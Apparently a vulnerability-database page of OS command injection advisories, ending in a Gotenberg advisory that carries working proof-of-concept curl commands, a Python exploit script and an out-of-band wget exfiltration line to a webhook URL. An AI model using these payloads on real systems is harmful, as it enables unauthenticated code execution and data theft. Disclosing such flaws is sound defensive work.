CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8324 vulnerabilities reference this CWE, most recent first.
GHSA-RQ37-QMJ6-52M5
Vulnerability from github – Published: 2023-01-27 00:30 – Updated: 2025-11-04 21:30Several OS command injection vulnerabilities exist in the m2m binary of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is reachable through the m2m's DOWNLOAD_INFO command.
{
"affected": [],
"aliases": [
"CVE-2022-42493"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Several OS command injection vulnerabilities exist in the m2m binary of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is reachable through the m2m\u0027s DOWNLOAD_INFO command.",
"id": "GHSA-rq37-qmj6-52m5",
"modified": "2025-11-04T21:30:32Z",
"published": "2023-01-27T00:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42493"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1640"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1640"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQ39-FWWC-45GH
Vulnerability from github – Published: 2021-12-10 00:00 – Updated: 2021-12-14 00:01An unauthenticated command injection vulnerability exists in the parameters of operation 48 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.
{
"affected": [],
"aliases": [
"CVE-2021-20143"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-09T16:15:00Z",
"severity": "HIGH"
},
"details": "An unauthenticated command injection vulnerability exists in the parameters of operation 48 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.",
"id": "GHSA-rq39-fwwc-45gh",
"modified": "2021-12-14T00:01:23Z",
"published": "2021-12-10T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20143"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2021-51"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RQ49-H582-83M7
Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-07 18:31Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-4631"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-07T17:16:38Z",
"severity": "CRITICAL"
},
"details": "Cockpit\u0027s remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.",
"id": "GHSA-rq49-h582-83m7",
"modified": "2026-04-07T18:31:38Z",
"published": "2026-04-07T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4631"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-4631"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450246"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQ62-F8QM-52R7
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiAP 7.6.0 through 7.6.2, FortiAP 7.4.0 through 7.4.5, FortiAP 7.2 all versions, FortiAP 7.0 all versions, FortiAP 6.4 all versions, FortiAP-W2 7.4.0 through 7.4.4, FortiAP-W2 7.2 all versions, FortiAP-W2 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via a specifically crafted cli command.
{
"affected": [],
"aliases": [
"CVE-2025-53870"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:16:36Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of special elements used in an os command (\u0027os command injection\u0027) vulnerability in Fortinet FortiAP 7.6.0 through 7.6.2, FortiAP 7.4.0 through 7.4.5, FortiAP 7.2 all versions, FortiAP 7.0 all versions, FortiAP 6.4 all versions, FortiAP-W2 7.4.0 through 7.4.4, FortiAP-W2 7.2 all versions, FortiAP-W2 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via a specifically crafted cli command.",
"id": "GHSA-rq62-f8qm-52r7",
"modified": "2026-05-12T18:30:40Z",
"published": "2026-05-12T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53870"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-133"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQ6G-FPH9-P9MC
Vulnerability from github – Published: 2022-07-29 00:00 – Updated: 2022-08-04 00:00Improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability in task management component in Synology DiskStation Manager (DSM) before 6.2.4-25553 allows remote attackers to execute arbitrary commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2022-22684"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-28T07:15:00Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements used in an OS command (\u0027OS Command Injection\u0027) vulnerability in task management component in Synology DiskStation Manager (DSM) before 6.2.4-25553 allows remote attackers to execute arbitrary commands via unspecified vectors.",
"id": "GHSA-rq6g-fph9-p9mc",
"modified": "2022-08-04T00:00:15Z",
"published": "2022-07-29T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22684"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_21_03"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_22_03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQC4-2HC7-8C8V
Vulnerability from github – Published: 2024-11-24 18:31 – Updated: 2025-01-21 17:59virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual environment. Magic template strings are not quoted correctly when replacing. NOTE: this is not the same as CVE-2024-9287.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "virtualenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.26.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-53899"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-13T17:01:51Z",
"nvd_published_at": "2024-11-24T16:15:06Z",
"severity": "HIGH"
},
"details": "virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual environment. Magic template strings are not quoted correctly when replacing. NOTE: this is not the same as CVE-2024-9287.",
"id": "GHSA-rqc4-2hc7-8c8v",
"modified": "2025-01-21T17:59:19Z",
"published": "2024-11-24T18:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53899"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/issues/2768"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/2771"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/virtualenv/PYSEC-2024-187.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/20.26.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "virtualenv allows command injection through activation scripts for a virtual environment"
}
GHSA-RQFH-MRX8-MX77
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46A vulnerability in the CLI of Cisco Unified Computing System (UCS) Manager, Cisco Firepower 4100 Series Next-Generation Firewall (NGFW), and Cisco Firepower 9300 Security Appliance could allow an authenticated, local attacker to perform a command injection attack. More Information: CSCvb66189 CSCvb86775. Known Affected Releases: 2.0(1.68) 3.1(1k)A. Known Fixed Releases: 92.2(1.101) 92.1(1.1742) 92.1(1.1658) 2.1(1.38) 2.0(1.107) 2.0(1.87) 1.1(4.148) 1.1(4.138).
{
"affected": [],
"aliases": [
"CVE-2017-6602"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-07T17:59:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the CLI of Cisco Unified Computing System (UCS) Manager, Cisco Firepower 4100 Series Next-Generation Firewall (NGFW), and Cisco Firepower 9300 Security Appliance could allow an authenticated, local attacker to perform a command injection attack. More Information: CSCvb66189 CSCvb86775. Known Affected Releases: 2.0(1.68) 3.1(1k)A. Known Fixed Releases: 92.2(1.101) 92.1(1.1742) 92.1(1.1658) 2.1(1.38) 2.0(1.107) 2.0(1.87) 1.1(4.148) 1.1(4.138).",
"id": "GHSA-rqfh-mrx8-mx77",
"modified": "2022-05-13T01:46:40Z",
"published": "2022-05-13T01:46:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6602"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170405-cli2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97472"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038197"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQFX-9C5W-Q3JJ
Vulnerability from github – Published: 2023-11-30 18:31 – Updated: 2023-12-07 03:30In TOTOLINK X6000R V9.4.0cu.852_B20230719, the shttpd file, sub_4119A0 function obtains fields from the front-end through Uci_ Set_ The Str function when passed to the CsteSystem function creates a command execution vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-48806"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-30T18:15:07Z",
"severity": "CRITICAL"
},
"details": "In TOTOLINK X6000R V9.4.0cu.852_B20230719, the shttpd file, sub_4119A0 function obtains fields from the front-end through Uci_ Set_ The Str function when passed to the CsteSystem function creates a command execution vulnerability.",
"id": "GHSA-rqfx-9c5w-q3jj",
"modified": "2023-12-07T03:30:31Z",
"published": "2023-11-30T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48806"
},
{
"type": "WEB",
"url": "https://www.notion.so/X6000R-sub_4119A0-5-92b3d1e22e764ae7a18cdf0d8ac24e4f?pvs=4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQG9-HRW2-MXCF
Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-08-20 18:31TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an authenticated remote command execution (RCE) vulnerability via the "mru" parameter in the "cstecgi.cgi" binary.
{
"affected": [],
"aliases": [
"CVE-2024-32351"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T16:17:02Z",
"severity": "HIGH"
},
"details": "TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an authenticated remote command execution (RCE) vulnerability via the \"mru\" parameter in the \"cstecgi.cgi\" binary.",
"id": "GHSA-rqg9-hrw2-mxcf",
"modified": "2024-08-20T18:31:14Z",
"published": "2024-05-14T18:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32351"
},
{
"type": "WEB",
"url": "https://github.com/1s1and123/Vulnerabilities/blob/main/device/ToToLink/X5000R/TOTOLink_X5000R_RCE.md"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQGH-GXV4-6657
Vulnerability from github – Published: 2026-05-07 00:55 – Updated: 2026-05-14 20:52Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection
Summary
Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.
Vulnerability Details
| Field | Value |
|---|---|
| Product | Gotenberg |
| Version | 8.29.1 (default gotenberg/gotenberg:8) |
| Component | pdfengines/metadata/write endpoint |
| CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command |
Affected Code
Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character
validation. The existing dangerousTags blocklist uses exact-match deletion and
provides no defense against \n-embedded keys.
The injection occurs because go-exiftool writes each key to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str) // k contains \n → splits into a new argument line
When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:
-Title
-if
system('cmd')||1
-Comment=x
ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.
Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.
This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.
Attack Scenario
Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)
- Attacker sends a POST request to
/forms/pdfengines/metadata/writewith any valid PDF and a metadata JSON object whose key contains embedded newlines. - Gotenberg deserializes the JSON key —
\nis preserved as a literal newline in Go'smap[string]anyafterjson.Unmarshal. - The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
- ExifTool processes
-if system('cmd')||1as a Perl expression and executescmd. - The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.
Proof of Concept
# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST http://TARGET:3000/forms/pdfengines/metadata/write \
-F 'files=@sample.pdf;type=application/pdf' \
--form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
OOB exfiltration via base64-encoded HTTP callback:
OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
-X POST http://TARGET:3000/forms/pdfengines/metadata/write \
-F 'files=@sample.pdf;type=application/pdf' \
--form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u
# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...
Self-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):
#!/usr/bin/env python3
"""
Usage: python3 poc.py <target> <oob_url> [command]
python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID
python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID "cat /etc/passwd"
"""
import sys, json, subprocess, urllib.request
def check_target(target):
with urllib.request.urlopen(f"{target}/version", timeout=5) as r:
print(f"[+] Gotenberg {r.read().decode().strip()} — target reachable")
def get_pdf(target):
r = subprocess.run(["curl", "-s", "-X", "POST", f"{target}/forms/chromium/convert/url",
"-F", "url=https://example.com"], capture_output=True, timeout=30)
assert r.stdout[:4] == b"%PDF", "Failed to generate PDF"
print(f"[+] Got sample PDF ({len(r.stdout)} bytes)")
return r.stdout
def exploit(target, pdf, oob, cmd):
import tempfile, os
key = f'Title\n-if\nsystem(\'wget -q -O /dev/null "{oob}?c=$({cmd}|base64|tr -d "=\\n")" 2>/dev/null\')||1\n-Comment'
meta = json.dumps({key: "x"})
with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as f:
f.write(pdf); tmp = f.name
try:
r = subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
"-X", "POST", f"{target}/forms/pdfengines/metadata/write",
"-F", f"files=@{tmp};type=application/pdf",
"--form-string", f"metadata={meta}"],
capture_output=True, text=True, timeout=30)
return int(r.stdout.strip())
finally:
os.unlink(tmp)
if __name__ == "__main__":
if len(sys.argv) < 3:
print(__doc__); sys.exit(1)
target, oob = sys.argv[1].rstrip("/"), sys.argv[2]
cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
print(f"[*] Target: {target} | OOB: {oob} | Command: {cmd}")
check_target(target)
pdf = get_pdf(target)
status = exploit(target, pdf, oob, cmd)
if status == 200:
print(f"[+] HTTP {status} — payload fired, check OOB listener for: ?c=<base64({cmd})>")
print(f"[!] Decode with: echo <value> | base64 -d")
else:
print(f"[-] HTTP {status} — unexpected response")
Expected output:
[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id
[+] Gotenberg 8.29.1 — target reachable
[+] Got sample PDF (12345 bytes)
[+] HTTP 200 — payload fired, check OOB listener for: ?c=<base64(id)>
Impact
Full unauthenticated remote code execution as the Gotenberg process user (uid=1001(gotenberg), member of root group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg's port 3000 without an authenticating proxy is fully compromised by a single HTTP request.
Remediation
In Gotenberg's metadata handler, reject any key containing control characters before passing it to go-exiftool:
import "strings"
for key := range metadata {
if strings.ContainsAny(key, "\n\r\x00") {
return fmt.Errorf("invalid metadata key %q: control characters not allowed", key)
}
}
Operators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.
Note: A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable — see go-exiftool advisory).
Timeline
| Date | Event |
|---|---|
| 2026-04-04 | Vulnerability discovered |
| 2026-04-04 | RCE confirmed — local file write + OOB HTTP |
| 2026-04-04 | Report drafted for disclosure |
| 2026-04-08 | Split into separate per-product advisories |
Resources
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- ExifTool
-ifflag: https://exiftool.org/exiftool_pod.html - go-exiftool: https://github.com/barasher/go-exiftool
- CVSS calculator: https://www.first.org/cvss/calculator/3.1
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"versions": [
"8.29.1"
]
}
],
"aliases": [
"CVE-2026-42589"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:55:01Z",
"nvd_published_at": "2026-05-14T16:16:21Z",
"severity": "CRITICAL"
},
"details": "# Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection\n\n## Summary\n\nGotenberg\u0027s `/forms/pdfengines/metadata/write` HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A `\\n` embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags \u2014 including `-if`, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.\n\n## Vulnerability Details\n\n| Field | Value |\n|------------------|------------------------------------------|\n| Product | Gotenberg |\n| Version | 8.29.1 (default `gotenberg/gotenberg:8`) |\n| Component | `pdfengines/metadata/write` endpoint |\n| CWE | CWE-78 \u2014 Improper Neutralization of Special Elements used in an OS Command |\n\n## Affected Code\n\n**Product:** Gotenberg \n**Endpoint:** `/forms/pdfengines/metadata/write` \n**Root cause:** JSON metadata keys are passed to go-exiftool without control-character\nvalidation. The existing `dangerousTags` blocklist uses exact-match deletion and\nprovides no defense against `\\n`-embedded keys.\n\nThe injection occurs because go-exiftool writes each key to ExifTool\u0027s stdin as:\n\n```go\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str) // k contains \\n \u2192 splits into a new argument line\n```\n\nWhen `k` is `Title\\n-if\\nsystem(\u0027cmd\u0027)||1\\n-Comment`, ExifTool\u0027s stdin becomes:\n\n```\n-Title\n-if\nsystem(\u0027cmd\u0027)||1\n-Comment=x\n```\n\nExifTool\u0027s `-if` flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.\n\n**Why it\u0027s vulnerable:** Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The `dangerousTags` blocklist (`FileName`, `Directory`) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.\nThis vulnerability exists entirely within Gotenberg\u0027s responsibility and is independently fixable without changing go-exiftool.\n\n## Attack Scenario\n\n**Threat actor:** Unauthenticated remote attacker \n**Preconditions:** Gotenberg port 3000 is reachable (common in internal/cloud deployments) \n\n1. Attacker sends a POST request to `/forms/pdfengines/metadata/write` with any valid PDF and a metadata JSON object whose key contains embedded newlines.\n2. Gotenberg deserializes the JSON key \u2014 `\\n` is preserved as a literal newline in Go\u0027s `map[string]any` after `json.Unmarshal`.\n3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool\u0027s stdin, splitting it across multiple argument lines.\n4. ExifTool processes `-if system(\u0027cmd\u0027)||1` as a Perl expression and executes `cmd`.\n5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF \u2014 no error signal.\n\n## Proof of Concept\n\n```bash\n# Write output of `id` to /tmp/pwned on the server\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n -X POST http://TARGET:3000/forms/pdfengines/metadata/write \\\n -F \u0027files=@sample.pdf;type=application/pdf\u0027 \\\n --form-string $\u0027metadata={\"Title\\\\n-if\\\\nsystem(\\\u0027id\u003e/tmp/pwned\\\u0027)||1\\\\n-Comment\": \"x\"}\u0027\n# \u2192 HTTP:200\n# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)\n```\n\nOOB exfiltration via base64-encoded HTTP callback:\n\n```bash\nOOB=\"https://webhook.site/YOUR-ID\"\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n -X POST http://TARGET:3000/forms/pdfengines/metadata/write \\\n -F \u0027files=@sample.pdf;type=application/pdf\u0027 \\\n --form-string \"metadata={\\\"Title\\n-if\\nsystem(\u0027wget -q -O /dev/null \\\"${OOB}?c=\\$(id|base64|tr -d \\\\\\\"=\\\\n\\\\\\\")\\\" 2\u003e/dev/null\u0027)||1\\n-Comment\\\": \\\"x\\\"}\"\n# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u\n# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d \u2192 uid=1001(gotenberg)...\n```\n\nSelf-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 poc.py \u003ctarget\u003e \u003coob_url\u003e [command]\n python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID\n python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID \"cat /etc/passwd\"\n\"\"\"\nimport sys, json, subprocess, urllib.request\n\ndef check_target(target):\n with urllib.request.urlopen(f\"{target}/version\", timeout=5) as r:\n print(f\"[+] Gotenberg {r.read().decode().strip()} \u2014 target reachable\")\n\ndef get_pdf(target):\n r = subprocess.run([\"curl\", \"-s\", \"-X\", \"POST\", f\"{target}/forms/chromium/convert/url\",\n \"-F\", \"url=https://example.com\"], capture_output=True, timeout=30)\n assert r.stdout[:4] == b\"%PDF\", \"Failed to generate PDF\"\n print(f\"[+] Got sample PDF ({len(r.stdout)} bytes)\")\n return r.stdout\n\ndef exploit(target, pdf, oob, cmd):\n import tempfile, os\n key = f\u0027Title\\n-if\\nsystem(\\\u0027wget -q -O /dev/null \"{oob}?c=$({cmd}|base64|tr -d \"=\\\\n\")\" 2\u003e/dev/null\\\u0027)||1\\n-Comment\u0027\n meta = json.dumps({key: \"x\"})\n with tempfile.NamedTemporaryFile(suffix=\".pdf\", delete=False) as f:\n f.write(pdf); tmp = f.name\n try:\n r = subprocess.run([\"curl\", \"-s\", \"-o\", \"/dev/null\", \"-w\", \"%{http_code}\",\n \"-X\", \"POST\", f\"{target}/forms/pdfengines/metadata/write\",\n \"-F\", f\"files=@{tmp};type=application/pdf\",\n \"--form-string\", f\"metadata={meta}\"],\n capture_output=True, text=True, timeout=30)\n return int(r.stdout.strip())\n finally:\n os.unlink(tmp)\n\nif __name__ == \"__main__\":\n if len(sys.argv) \u003c 3:\n print(__doc__); sys.exit(1)\n target, oob = sys.argv[1].rstrip(\"/\"), sys.argv[2]\n cmd = sys.argv[3] if len(sys.argv) \u003e 3 else \"id\"\n print(f\"[*] Target: {target} | OOB: {oob} | Command: {cmd}\")\n check_target(target)\n pdf = get_pdf(target)\n status = exploit(target, pdf, oob, cmd)\n if status == 200:\n print(f\"[+] HTTP {status} \u2014 payload fired, check OOB listener for: ?c=\u003cbase64({cmd})\u003e\")\n print(f\"[!] Decode with: echo \u003cvalue\u003e | base64 -d\")\n else:\n print(f\"[-] HTTP {status} \u2014 unexpected response\")\n```\n\nExpected output:\n```\n[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id\n[+] Gotenberg 8.29.1 \u2014 target reachable\n[+] Got sample PDF (12345 bytes)\n[+] HTTP 200 \u2014 payload fired, check OOB listener for: ?c=\u003cbase64(id)\u003e\n```\n\n## Impact\n\nFull unauthenticated remote code execution as the Gotenberg process user (`uid=1001(gotenberg)`, member of `root` group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg\u0027s port 3000 without an authenticating proxy is fully compromised by a single HTTP request.\n\n## Remediation\n\nIn Gotenberg\u0027s metadata handler, reject any key containing control characters before passing it to go-exiftool:\n\n```go\nimport \"strings\"\n\nfor key := range metadata {\n if strings.ContainsAny(key, \"\\n\\r\\x00\") {\n return fmt.Errorf(\"invalid metadata key %q: control characters not allowed\", key)\n }\n}\n```\n\nOperators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.\n\n**Note:** A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable \u2014 see go-exiftool advisory).\n\n## Timeline\n\n| Date | Event |\n|------------|--------------------------------------------|\n| 2026-04-04 | Vulnerability discovered |\n| 2026-04-04 | RCE confirmed \u2014 local file write + OOB HTTP |\n| 2026-04-04 | Report drafted for disclosure |\n| 2026-04-08 | Split into separate per-product advisories |\n\n## Resources\n\n- CWE-78: https://cwe.mitre.org/data/definitions/78.html\n- ExifTool `-if` flag: https://exiftool.org/exiftool_pod.html\n- go-exiftool: https://github.com/barasher/go-exiftool\n- CVSS calculator: https://www.first.org/cvss/calculator/3.1",
"id": "GHSA-rqgh-gxv4-6657",
"modified": "2026-05-14T20:52:07Z",
"published": "2026-05-07T00:55:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42589"
},
{
